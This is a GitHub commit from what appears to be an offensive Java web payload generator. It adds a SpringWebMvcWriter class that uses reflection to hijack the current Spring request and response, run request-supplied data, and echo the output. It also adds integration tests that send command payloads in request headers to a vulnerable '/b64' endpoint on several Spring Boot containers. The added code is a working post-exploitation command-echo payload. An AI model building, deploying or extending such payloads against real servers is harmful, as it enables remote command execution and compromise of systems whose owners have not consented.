Skip to content

Commit 44d0878

Browse files
committed
feat: support spring response body writer
1 parent fe86bc0 commit 44d0878

File tree

8 files changed

+116
-5
lines changed

8 files changed

+116
-5
lines changed

generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -67,6 +67,8 @@ private Class<?> getRunnerClass() {
6767

6868
private Class<?> getWriterClass() {
6969
switch (probeContentConfig.getServer()) {
70+
case Server.SpringWebMvc:
71+
return SpringWebMvcWriter.class;
7072
case Server.Jetty:
7173
return JettyWriter.class;
7274
case Server.Tomcat:
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
package com.reajason.javaweb.probe.payload.response;
2+
3+
import java.io.PrintWriter;
4+
import java.lang.reflect.Field;
5+
import java.lang.reflect.Method;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2025/11/11
10+
*/
11+
public class SpringWebMvcWriter {
12+
13+
public SpringWebMvcWriter() {
14+
try {
15+
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
16+
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes", null, null);
17+
Object request = invokeMethod(requestAttributes, "getRequest", null, null);
18+
Object response = invokeMethod(requestAttributes, "getResponse", null, null);
19+
String data = getDataFromReq(request);
20+
if (data != null && !data.isEmpty()) {
21+
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
22+
try {
23+
writer.write(run(data));
24+
} catch (Throwable e) {
25+
e.printStackTrace(writer);
26+
}
27+
writer.flush();
28+
writer.close();
29+
return;
30+
}
31+
32+
} catch (Throwable e) {
33+
e.printStackTrace();
34+
}
35+
}
36+
37+
private String getDataFromReq(Object request) throws Exception {
38+
return null;
39+
}
40+
41+
private String run(String data) throws Exception {
42+
return null;
43+
}
44+
45+
@SuppressWarnings("all")
46+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
47+
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
48+
Method method = null;
49+
while (clazz != null && method == null) {
50+
try {
51+
if (paramClazz == null) {
52+
method = clazz.getDeclaredMethod(methodName);
53+
} else {
54+
method = clazz.getDeclaredMethod(methodName, paramClazz);
55+
}
56+
} catch (NoSuchMethodException e) {
57+
clazz = clazz.getSuperclass();
58+
}
59+
}
60+
if (method == null) {
61+
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
62+
}
63+
method.setAccessible(true);
64+
return method.invoke(obj instanceof Class ? null : obj, param);
65+
}
66+
67+
@SuppressWarnings("all")
68+
public static Object getFieldValue(Object obj, String name) throws Exception {
69+
Class<?> clazz = obj.getClass();
70+
while (clazz != Object.class) {
71+
try {
72+
Field field = clazz.getDeclaredField(name);
73+
field.setAccessible(true);
74+
return field.get(obj);
75+
} catch (NoSuchFieldException var5) {
76+
clazz = clazz.getSuperclass();
77+
}
78+
}
79+
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
80+
}
81+
}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ public class SpringBoot1ContainerTest {
3939
void testJDK() {
4040
String url = getUrlFromSpringBoot(container);
4141
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
42-
assertEquals("JDK|1.8.0_342|52", data);
42+
assertEquals("JDK|1.8.0_472|52", data);
4343
}
4444

4545
@Test
@@ -64,6 +64,13 @@ void testCommandReqHeaderResponseBody() {
6464
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
6565
}
6666

67+
@Test
68+
@SneakyThrows
69+
void testCommandReqHeaderResponseBodySpring() {
70+
String url = getUrlFromSpringBoot(container);
71+
ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V1_6);
72+
}
73+
6774
@Test
6875
@SneakyThrows
6976
void testBytecodeReqParamResponseBody() {

integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ public class SpringBoot2ContainerTest {
4040
void testJDK() {
4141
String url = getUrlFromSpringBoot(container);
4242
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
43-
assertEquals("JRE|1.8.0_342|52", data);
43+
assertEquals("JDK|1.8.0_472|52", data);
4444
}
4545

4646
@Test
@@ -65,6 +65,13 @@ void testCommandReqHeaderResponseBody() {
6565
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
6666
}
6767

68+
@Test
69+
@SneakyThrows
70+
void testCommandReqHeaderResponseBodySpring() {
71+
String url = getUrlFromSpringBoot(container);
72+
ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V1_6);
73+
}
74+
6875
@Test
6976
@SneakyThrows
7077
void testBytecodeReqParamResponseBody() {

integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ public class SpringBoot2JettyContainerTest {
4040
void testJDK() {
4141
String url = getUrlFromSpringBoot(container);
4242
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
43-
assertEquals("JDK|1.8.0_342|52", data);
43+
assertEquals("JDK|1.8.0_472|52", data);
4444
}
4545

4646
@Test

integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ public class SpringBoot2UndertowContainerTest {
3939
void testJDK() {
4040
String url = getUrlFromSpringBoot(container);
4141
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
42-
assertEquals("JDK|1.8.0_342|52", data);
42+
assertEquals("JDK|1.8.0_472|52", data);
4343
}
4444

4545
@Test

integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,13 @@ void testCommandReqHeaderResponseBody() {
6464
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
6565
}
6666

67+
@Test
68+
@SneakyThrows
69+
void testCommandReqHeaderResponseBodySpring() {
70+
String url = getUrl(container);
71+
ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V1_6);
72+
}
73+
6774
@Test
6875
@SneakyThrows
6976
void testBytecodeReqParamResponseBody() {

integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ public class SpringBoot3ContainerTest {
3939
void testJDK() {
4040
String url = getUrlFromSpringBoot(container);
4141
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
42-
assertEquals("JDK|17.0.2|61", data);
42+
assertEquals("JDK|17.0.17|61", data);
4343
}
4444

4545
@Test
@@ -64,6 +64,13 @@ void testCommandReqHeaderResponseBody() {
6464
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V17);
6565
}
6666

67+
@Test
68+
@SneakyThrows
69+
void testCommandReqHeaderResponseBodySpring() {
70+
String url = getUrlFromSpringBoot(container);
71+
ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V17);
72+
}
73+
6774
@Test
6875
@SneakyThrows
6976
void testBytecodeReqParamResponseBody() {

0 commit comments

Comments
 (0)